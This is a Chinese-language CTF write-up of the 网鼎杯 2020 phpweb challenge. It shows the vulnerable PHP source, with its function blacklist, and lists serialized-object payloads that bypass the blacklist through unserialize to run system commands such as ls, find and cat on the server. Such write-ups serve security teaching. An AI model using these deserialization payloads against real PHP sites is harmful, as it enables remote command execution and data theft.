反序列化 [网鼎杯 2020 朱雀组]phpweb 1

2023-12-13 17:05:37

打开题目

我们发现这个页面一直在不断的刷新

我们bp抓包一下看看

我们发现index.php用post方式传了两个参数上去,func和p

我们需要猜测func和p两个参数之间的关系,可以用php函数MD5测一下看看

我们在响应处得到了一串密文,md5解密一下看看

发现页面回响的内容就是123的md5加密后的内容

那我们直接看看能不能执行system函数

可以看到system函数被过滤掉了

那我们尝试一下能不能直接读取到网站源代码

file_get_contents()

得到

代码如下

 <?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

我们代码审计一下

?$func = $_REQUEST["func"];
??? $p = $_REQUEST["p"];

??? if ($func != null) {?????????????????? //判断func不为空
??????? $func = strtolower($func);???? //将func转换为小写
??????? if (!in_array($func,$disable_fun)) {???? //搜索func是否含有黑名单的值
??????????? echo gettime($func, $p);?????????? //如果func没有存在黑名单的值,就执行gettime函数
??????? }else {
??????????? die("Hacker...");???????????? //有则输出Hacker

?function gettime($func, $p) {
??????? $result = call_user_func($func, $p);??????? //这里可以看出是回调函数
??????? $a= gettype($result);????????????????????? //这里用gettype函数对result处理后赋值给a
??????? if ($a == "string") {??????????????????????????? //如果a的类型是字符串
??????????? return $result;?????????????????????????????? //返回reslut的结果
??????? } else {return "";}??????????????????????????? //否则返回空值

那咱们就可以使用反序列化,因为我们这个命令是用不了的,func有很多黑名单限制

构造payload

<?php
class Test {
    var $p = "ls";
    var $func = "system";
}
$a = new Test();
echo serialize($a);
?>

用phpstudy打开得到payload

payload为

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}

得到

修改payload

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}

还是没找到flag

继续修复payload,其中 flag* 是一个通配符,表示以 "flag" 开头的文件名。

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:18:"find / -name flag*";s:4:"func";s:6:"system";}

直接读取flag
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}

或者readfile

func=readfile&p=/tmp/flagoefiu4r93

知识点

  • 读取网站源代码的函数有

file_get_contents()

show_source()

highlight_file()

  • strtolower()函数

在PHP中,字符串函数strtolower () 将字符串转化为小写

  • in_array()函数

in_array() 函数搜索数组中是否存在指定的值

  • call_user_func函数

call_user_func — 把第一个参数作为回调函数调用

详情参考:PHP: call_user_func - Manual

  • gettype函数

gettype()函数,必须先给它传递一个变量。它将确定变量的类型并且返回一个包含类型名称的字符串:bool、int、double、string、array、object和resource。如果变量类型不是标准类型之一,该函数就会返回“ unknown type(未知类型)”。

  • 读取文件内容的命令

cat filename

readfile filename

  • 查找文件的命令

详情见:Linux下查找文件(find、grep命令)_linux查找文件_GG_Bond19的博客-CSDN博客

find 路径 -name "文件名"

例如

find / -name flag*

其中 flag* 是一个通配符,表示以 "flag" 开头的文件名。

find / -name .*txt

其中 .*txt 是一个通配符,表示以 ".txt" 结尾的隐藏文件

文章来源:https://blog.csdn.net/m0_75178803/article/details/134840791
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。